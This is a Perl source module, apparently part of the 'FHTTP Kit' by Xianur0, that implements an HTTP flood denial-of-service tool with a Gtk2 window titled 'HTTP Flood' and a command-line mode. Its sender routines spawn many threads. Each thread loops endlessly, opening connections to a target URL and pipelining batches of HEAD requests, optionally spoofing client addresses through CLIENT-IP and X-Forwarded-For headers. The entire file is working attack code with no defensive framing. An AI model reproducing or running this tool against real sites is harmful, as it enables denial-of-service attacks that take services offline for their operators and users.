# FHTTP Kit by Xianur0
# Copyright (C) 2011 Oscar García López (http://hackingtelevision.blogspot.com) 
#  
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
#   
#    xianur0.null@gmail.com
#    http://hackingtelevision.blogspot.com/

package mn;
$idioma = main::mods("--lang");

use Socket;
use IO::Socket::INET;
use threads ('yield',
				'exit' => 'threads_only',
				'stringify');
use threads::shared;

my $hilo;
sub socker {
	my ($remote,$port) = @_;
	my ($iaddr, $paddr, $proto);
	$iaddr = inet_aton($remote) || return false;
	$paddr = sockaddr_in($port, $iaddr) || return false;
	$proto = getprotobyname('tcp');
	socket(SOCK, PF_INET, SOCK_STREAM, $proto);
	connect(SOCK, $paddr) || return false;
	return SOCK;
}


sub sender {
	my ($max,$puerto,$host,$file,$usarssl) = @_;
	my $sock;
	while(true) {
		my $paquete = "";
		if($usarssl == 0) {
			$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp');
			#$sock = &socker($host,$puerto);
		}
		else {
			if(&main::mods("IO::Socket::SSL") == 1) {
				$sock = IO::Socket::SSL->new(join "",$host,":",$puerto);
			} else {
				die("\n[x] ".dic::mensajes($idioma,21)."\n\n");
			}
		}
		unless($sock) {
			print "\n[x] ".dic::mensajes($idioma,22)."...\n\n";
			sleep(1);
			next;
		}
		for($i=0;$i<$porconexion;$i++) {
			$ipinicial = $sumador->mas();
			$paquete .= join "","HEAD /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: Mozilla/5.0\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ThisWebSuck!-Todo-dicho! xD\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
		}
		$paquete =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
		print $sock $paquete;
	}
}

sub sender2 {
	my ($puerto,$host,$usarssl,$paquete) = @_;
	my $sock;
	my $sumador :shared;
	while(true) {
		if($usarssl == 0) {
			$sock = &socker($host,$puerto);
		}
		else {
			if(&main::mods("IO::Socket::SSL") == 1) {
				$sock = IO::Socket::SSL->new(join "",$host,":",$puerto);
			} else {
				die("\n[x] ".dic::mensajes($idioma,21)."\n\n");
			}
		}
		unless($sock) {
			print "\n[x] ".dic::mensajes($idioma,22)."...\n\n";
			next;
		}
		print $sock $paquete;
	}
}

sub comenzar {
	$SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
	if(&main::mods("Gtk2") == 1) {
		$url = $entrada->get_text;
		$max = $entrada2->get_text;
		eval{
			$porconexion = $entrada3->get_text;
		};
		if ($@){
			print "[-] ".dic::mensajes($idioma,23)."...\n";
			my $parser = parser->new();
			my ($porconexion,%tmp) = $parser->soportados($url,$host,$puerto,$usarssl);
			if($porconexion >= 100) {
				print dic::mensajes($idioma,9)."...\n";
			} else {
				print dic::mensajes($idioma,10).$porconexion." ".dic::mensajes($idioma,11)."\n";
			}
		} else {
			die(dic::mensajes($idioma,24)."!\n") if($porconexion !~ /^\d+$/);
		}
		eval{
			$ipfake = $entrada4->get_text;
		};
		if ($@){
			$ipfake = "";
		}
	} else {
		$url = $ARGV[1];
		print "URL: ".$url."\n";
		$max = $ARGV[2];
		$porconexion = $ARGV[3];
		$ipfake = $ARGV[4];
		if($porconexion < 1) {
			print "[-] ".dic::mensajes($idioma,23)."...\n";
			my $parser = parser->new();
			my ($porconexion,%tmp) = $parser->soportados($url,$host,$puerto,$usarssl);
			if($porconexion >= 100) {
				print dic::mensajes($idioma,9)."...\n";
			} else {
				print dic::mensajes($idioma,10).$porconexion." ".dic::mensajes($idioma,11)."\n";
			}
		}
	}
	if($url !~ /^https?:\/\//) {
		$mostrar->set_text("[x] ".dic::comunes($idioma,15)."!\n") if(&main::mods("Gtk2") == 1);
		die("[x] ".dic::comunes($idioma,15)."!\n");
	}
	$mostrar->set_text(dic::comunes($idioma,17)."...\n") if(&main::mods("Gtk2") == 1);
	print dic::comunes($idioma,17)."...\n";
	if($url =~ /^https:\/\//)
	{
		$usarssl = 1;
	}
	else {
		$usarssl = 0;
	}
	$url .= "/" if($url =~ /^https?:\/\/([\d\w\:\.-]*)$/);
	($host,$file) = ($url =~ /^https?:\/\/(.*?)\/(.*)/);
	if($usarssl != 1) {
		$puerto = 80;
	}
	else {
		$puerto = 443;
	}
	($host,$puerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
	$file =~ s/\s/%20/g;
	$mostrar->set_text(join "","[!] ".dic::comunes($idioma,18)." ",$max," ".dic::comunes($idioma,19)."\n") if(&main::mods("Gtk2") == 1);
	print join "","[!] ".dic::comunes($idioma,18)." ",$max," ".dic::comunes($idioma,19)."\n";
	$file = "/".$file if($file !~ /^\//);
	print join "",dic::comunes($idioma,20).": ",$host,":",$puerto,"\n".dic::comunes($idioma,4).": ",$file,"\nSSL: ",$usarssl,"\n\n";
	# entonces toca un paquete unico, no tiene caso que se genere por cada hilo :)...
	if($ipfake eq "") {
		# envio repetitivo
		my $paquetebase = join "","HEAD /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: Mozilla/5.0\r\nIf-None-Match: ThisWebSuck!-Todo-dicho! xD\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
		$paquetesender = "";
		$paquetesender = $paquetebase x $porconexion;
		$paquetesender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
		for($v=0;$v<$max;$v++) {
			$thr[$v] = threads->create('sender2', ($puerto,$host,$usarssl,$paquetesender));
		}
	} else {
		# envio con ip...
		$sumador = control->new($ipfake);
		for($v=0;$v<$max;$v++) {
			$thr[$v] = threads->create('sender', ($porconexion,$puerto,$host,$file,$usarssl));
		}
	}
	$mostrar->set_text("[-] ".dic::comunes($idioma,21)."!\n")  if(&main::mods("Gtk2") == 1);
	print "[-] ".dic::comunes($idioma,21)."!\n";
	for($v=0;$v<$max;$v++) {
		if ($thr[$v]->is_running()) {
			sleep(3);
			$v--;
		} else {
			$mostrar->set_text(join "","[-] Thread ",$v," finalizado!\n")  if(&main::mods("Gtk2") == 1);
		}
	}
	print "Fin!\n";
	$mostrar->set_text("Fin!\n")  if(&main::mods("Gtk2") == 1);
}

sub grafico () {
	my $ventana = Gtk2::Window->new('toplevel');
	$ventana->set_title("HTTP Flood");
	$ventana->set_default_icon_from_file("icono.jpg");
	$ventana->set_border_width(20);
	$hbox = Gtk2::VBox->new(0, 0);
	$hbox->set_border_width(5);
	$etiqueta = Gtk2::Label->new('URL:');
	$entrada = Gtk2::Entry->new;
	&main::share($entrada);
	$etiqueta2 = Gtk2::Label->new(dic::fingerlabels($idioma,4).':');
	$entrada2 = Gtk2::Entry->new;
	&main::share($entrada2);
	$etiqueta3 = Gtk2::Label->new(dic::fingerlabels($idioma,5).':');
	$entrada3 = Gtk2::Entry->new;
	&main::share($entrada3);
	$etiqueta4 = Gtk2::Label->new(dic::fingerlabels($idioma,6).':');
	$entrada4 = Gtk2::Entry->new;
	&main::share($entrada4);
	$boton = Gtk2::Button->new(dic::fingerlabels($idioma,1));
	$boton->signal_connect('clicked' => sub {
														if($boton->get_label ne dic::fingerlabels($idioma,3)) {
															$hilo = threads->create('comenzar');
															$boton->set_label(dic::fingerlabels($idioma,3));
														}
														else {
															if($hilo->is_running()) {
																	$hilo->kill('KILL');
															}
															sleep(5);
															die(dic::mensajes($idioma,25)."!") if($hilo->is_running());
															$boton->set_label(dic::fingerlabels($idioma,1));
														}
												});
	$mostrar = Gtk2::Label->new();
	&main::share($mostrar);
	$imagen = Gtk2::Image->new_from_file("logo.png");
	$hbox->pack_start($imagen, FALSE, FALSE, 2);
	$hbox->pack_start($etiqueta,FALSE,FALSE,2);
	$hbox->pack_start($entrada, FALSE, FALSE, 2);
	$hbox->pack_start($etiqueta2,FALSE,FALSE,2);
	$hbox->pack_start($entrada2, FALSE, FALSE, 2);
	$hbox->pack_start($etiqueta3,FALSE,FALSE,2);
	$hbox->pack_start($entrada3, FALSE, FALSE, 2);
	$hbox->pack_start($etiqueta4,FALSE,FALSE,2);
	$hbox->pack_start($entrada4, FALSE, FALSE, 2);
	$hbox->pack_start($boton, FALSE, FALSE, 2);
	$hbox->pack_start($mostrar,FALSE,FALSE,2);
	$hbox->show;
	$ventana->add($hbox);
	$ventana->show_all;
	Gtk2->main;
}

sub new {
	if(&main::mods("Gtk2") == 1) {
		grafico();
	} elsif($#ARGV > 2) {
		comenzar();
	} else {
		die(dic::comunes($idioma,0).": fhttp.pl 1 [url] [".dic::fingerlabels($idioma,4)."] [".dic::fingerlabels($idioma,5)."] [".dic::fingerlabels($idioma,6)."]\n");
	}
}

1;
